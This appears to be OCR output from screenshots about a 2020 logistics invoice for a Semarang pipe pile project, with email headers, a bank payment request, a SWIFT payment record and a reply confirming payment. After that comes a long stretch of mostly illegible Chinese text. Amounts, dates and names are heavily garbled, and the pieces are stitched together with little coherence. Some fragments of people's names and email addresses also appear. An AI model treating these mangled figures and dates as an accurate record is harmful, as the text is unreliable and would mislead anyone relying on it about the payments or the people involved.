#£8 ruyi.zhou, uliana [world trans], ahmadunaids1984, dchan, yulia, iva, 257, [53 TO : PT. RTA LOGISTIK INDONESIA Invoice No. + INWTIK-2006-0002
——— SOHO @PODCMORD Y, UNIT 12 17 32 1L SPARMAN KAV 28 Invoice Date £ 08-June-2020
s A: Nora<nora@s - | hEEEA RT.00% RW.005 TANIUNG DUREN SELATAN GROGOL PETAMBURAN Job No. £ IBIK20050002
U A ruyizhou <ruyizhou@ > Eilﬁl{q:k
- Project Name : _SEMARANG PIPE PILE JIP (IATENG INDUSTRIAL PARK)
5 il | el ek <l e ] 1 o'l ack. | RN No. Description aty Unit Price Total
S — . - N L SETTLEMENT LUMP SUM =
e . - - = ~ - 70% (USD 7.85 X 10.009,423 MT) A, I
R b ; ey i - o FOR: CUSTOMS CLEARANCE, STAVEDORING, INLAND TRANSPORT
ala v ] 1 L ol 1 1
AIE: 20204668248 (A=) 13:17 4O
i 424 KB sw'r;:iT usp 78.573,97
WHT
| Invoice Settlemen 70% JL... (174 KE) | FadusD -us 255000
GRAND TOTAL  USD 55.023,97
Dear Mr.Ruyi Zhou,
CC: Mr. Tony Zhou,
Please make payment to Autherized Signaturs
Beneficiary Name: I " s PT. World Trans

Beneficiary Account Number: SRS Bl
Bank Narne and Address: el B
T L LR R A DU
Reminder .. 11! e

Please send bank slip to David Chandra

. Email: Ainane e @ i io LS Director
Please inform your payment.

I SRR T =
End balances invoices of this shipment (JIP Semarang Project) that you shj| qﬁ{/ DEULBZ‘T*k%E{ﬂDL =

Awaiting your bank slip soon ..

K. B ERAENUE Invoice RIRGATHA
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FEEEREMZEARBEHERAF

IERE
=1t :23-58-2020 EFSES (L THEE—
TREES | IR T
= L= Y T T LA EEHT SWIFTIBIC IR Pl i
=S o
i S R
TS
i iCEe EEEE W=
T
UsD 714015 UsD 7.140.15 0002012745014
oT - Agent Uso 15.00 0002-012745-01-4
Charges
OT - Handling UsD 3565 0002012745014
Commission
ERBERER
SWIFT gpiZERRE SWIFT gpi BREREE A
Do eS0T -4 TR0 TE0 163355
Rl —
4 BT
DESSECSE
FE AMAETE
23 Jun 2020 1215w
Cham
UsD
74015
Re: Re: INVOICE SETTLEMENT 70% OF JIP SEMARANG PROJECT — O X
QEs- $pEssE- SpEsy Ak B swmz S om S gmees )y st /4| £
Re: Re: INVOICE SETTLEMENT 70% OF JIP SEMARANG PROJECT =
ruyi.zhou | v
2020-06-23 13:37 B&EEE

FEA: ruyizhou <ruyizhou®
WA Nora<nora@

PG yliarsa el rarnd

N

e B

S v @ ' i
R1El: 2020568230 (AD)
FJv 586 KB

DEAR Nora:

Y Invoice DP New Asia Proj...

B el
i
13:37

(186 KB)

B

A2 Mora, uliana [world trans], ahmadunaids1984, dchan, yulia, iva, 2257, F55222 dh4riyadi, wenny, arta, artatil5ad, nanda

e iy | 8

ey

o P

AR FE BRI A K I i)

We paid the attachment fee 2 hours ago. Please check your account. The finance hasn't given me the payment voucher yet

Uk ER 2 2 AR RAEIB ER T R B, JE HANEAR I AE ) 2 A g P s B 2, A0 R K
BRI 5. s et ss BT E S AU M 28 40 L Gy, X SR LE I R
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o 53 B A 5 AR AR ML AR S BRI 5 AT P SR B0, R S AERIB A, Dy sl K S X5
BEAT VR, DURHUEA], FEEARZ SVIE 2 BRI F Uk siE S ue.

= HAXES DAL O 2B &

B F2 22 A C el I A I 18] AR 3E B, IREL T B 70 JE 1H 0] S0 190 2 T4 o 2 R4k Y F WIS R R 55 45 07
IRCRR, AT 5 L 1 2 2 ) — Se Tl A e T 2

L Bl i fe ol iz . 2R il S e Tl e i o3 B A R IBUR B AR i, Sl b i TR
T A 5% MRAE BEAT A5 R WO i, AT A 310K & AR 5 AP AE B 0T 1

2. BB ARSI KB RMBAAN S J5, A5 25 iy b [R) SRR w4 0 Do ool 150338 22X B IR o, DA BTN
ZEHE RS . AR K S E D, cookies. HEAICFAFAEHEERE SR, NMIEE
AN RO R AR ST 9 15 2

<<

SH
P
p

RIEFIEHRE V . EEN ﬂ #hEY
u 4dh o

<<

— BB & el R AR 1 HWHITR S &
BERER

H
Pl
pa

<<

b1
Fol
pa

[ G T =

3. MERENEIREM T BRE, BUhiHAEBEE DI S A, Be AR Wiitis o 4 1E R 51 5 i
F BRI ARMAEMAE N T FRR, MK w] A TR REEE S, B 85 SR Al
PR, EEERNPN AT VERES);

4. BUlrEERARMRT L (32 W7 A A AT R, DURBUCH P BB, Db sk T &

FT7, REPEANSHIERSL (G2 AT, SRR A, JFeETIT . BEREE
LS NERWCGRER, mA B EF MR RET S
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